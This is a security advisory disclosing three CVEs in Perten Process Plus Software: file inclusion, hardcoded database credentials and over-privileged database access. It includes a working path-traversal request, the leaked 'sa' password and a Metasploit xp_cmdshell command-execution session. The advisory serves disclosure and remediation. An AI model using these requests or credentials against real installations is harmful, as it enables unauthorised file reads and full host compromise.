CyberDanube Security Research 20240722-0
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                title| Multiple Vulnerabilities
              product| Perten Instruments Process Plus Software
   vulnerable version| <=1.11.6507.0
        fixed version| 2.0.0
           CVE number| CVE-2024-6911, CVE-2024-6912, CVE-2024-6913
               impact| High
             homepage| https://perkinelmer.com
                found| 2024-04-24
                   by| S. Dietz, T. Weber (Office Vienna)
                     | CyberDanube Security Research
                     | Vienna | St. Pölten
                     |
                     | https://www.cyberdanube.com
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Vendor description
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"For 85 years, PerkinElmer has pushed the boundaries of science from food to
health to the environment. We’ve always pursued science with a clear purpose –
to help our customers achieve theirs. Our expert team brings technology and
intangibles, like creativity, empathy, diligence, and a spirit of
collaboration, in equal measure, to fulfill our customers’ desire to work
better, innovate better, and create better.
PerkinElmer is a leading, global provider of technology and service solutions
that help customers measure, quantify, detect, and report in ways that help
ensure the quality, safety, and satisfaction of their products."
Source: https://www.perkinelmer.com/
Vulnerable versions
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ProcessPlus Software / <=1.11.6507.0
Vulnerability overview
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1) Unauthenticated Local File Inclusion (CVE-2024-6911)
A LFI was identified in the web interface of the device. An attacker can use
this vulnerability to read system-wide files and configuration.
2) Hardcoded MSSQL Credentials (CVE-2024-6912)
The software is using the same MSSQL credentials across multiple installations.
In combination with 3), this allows an attacker to fully compromise the host.
3) Execution with Unnecessary Privileges (CVE-2024-6913)
The software uses the user "sa" to connect to the database. Access to this
account allows an attacker to execute commands via the "xp_cmdshell" procedure.
Proof of Concept
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1) Unauthenticated Local File Inclusion (CVE-2024-6911)
The LFI can be triggered by using the following GET Request:
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GET /ProcessPlus/Log/Download/?filename=..\..\..\..\..\..\Windows\System32\drivers\etc\hosts&filenameWithSerialNumber=_Errors_2102162.log HTTP/1.1
Host: 192.168.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
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This example returns the content from "C:\Windows\System32\drivers\etc\hosts"
of an affected installation.
2) Hardcoded MSSQL Credentials (CVE-2024-6912)
Analysis across multiple installations show that the configuration file
"\ProgramData\Perten\ProcessPlus\OPCDA_SERVER.xml" contains credentials:
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[...]
<OPCDA_Server dbconnectstring="Driver={SQL Server};SERVER=.\PertenSQL;
DATABASE=ProcessPlus_OPC;UID=sa;PWD=enilno" application_id="1"
appid="Perten.OPCDA.Server" loglevel="info"
logfile="C:\Perten\ProcessPlus\Log\opcserver.log">
[...]
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These credentials "sa:enilno" were re-used in all reviewed installations.
3) Execution with Unnecessary Privileges (CVE-2024-6913)
The application uses the "sa" user to authenticate with the database. By using
Metasploit an attacker can execute arbitrary commands:
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msf6 auxiliary(admin/mssql/mssql_exec) > show options
Module options (auxiliary/admin/mssql/mssql_exec):
   Name                 Current Setting
   ----                 ---------------
   CMD                  dir
   PASSWORD             enilno
   RHOSTS               192.168.0.1
   RPORT                1433
   TDSENCRYPTION        false
   TECHNIQUE            xp_cmdshell
   USERNAME             sa
   USE_WINDOWS_AUTHENT  false
msf6 auxiliary(admin/mssql/mssql_exec) > run
[*] Running module against 192.168.0.1
[*] 192.168.0.1:1433 - SQL Query: EXEC master..xp_cmdshell 'dir'
[...]
 Directory of C:\Windows\system32
 01/23/2024  13:37 AM    <DIR>          .
 01/23/2024  13:37 AM    <DIR>          ..
 01/23/2024  13:37 AM    <DIR>          0123
 01/23/2024  13:37 AM    <DIR>          0123
 01/23/2024  13:37 AM               232 @AppHelpToast.png
 01/23/2024  13:37 AM               308 @AudioToastIcon.png
[...]
Solution
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Update to version 2.0.0.
Workaround
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Restrict network access to the host with the installed software. Change the
default credentials of the database in the config file and the database itself.
Recommendation
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CyberDanube recommends Perten customers to upgrade the software to the latest
version available and to restrict network access to the management interface.
Contact Timeline
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2024-04-29: Contacting PerkinElmer via [email protected].
2024-05-13: Vendor asked for unencrypted advisory.
2024-05-16: Sent advisory to vendor.
2024-05-22: Asked for status update. No answer.
2024-05-28: Asked for status update. Contact stated that they are working on a
            fix.
2024-06-10: Asked for status update. Contact stated that all issues should be
            fixed by end of month. Local file inclusion should be fixed in
            version 1.16. Asked for a release date of version 1.16. No answer.
2024-07-13: Asked for status update.
2024-07-15: Contact stated, that all three issues have been fixed in version
            2.0.0 which have been released on 2024-07-11.
2024-07-16: Asked for a link to the firmware update release.
2024-07-17: Set release date to 2024-07-22.
2024-07-22: Coordinated release of security advisory.
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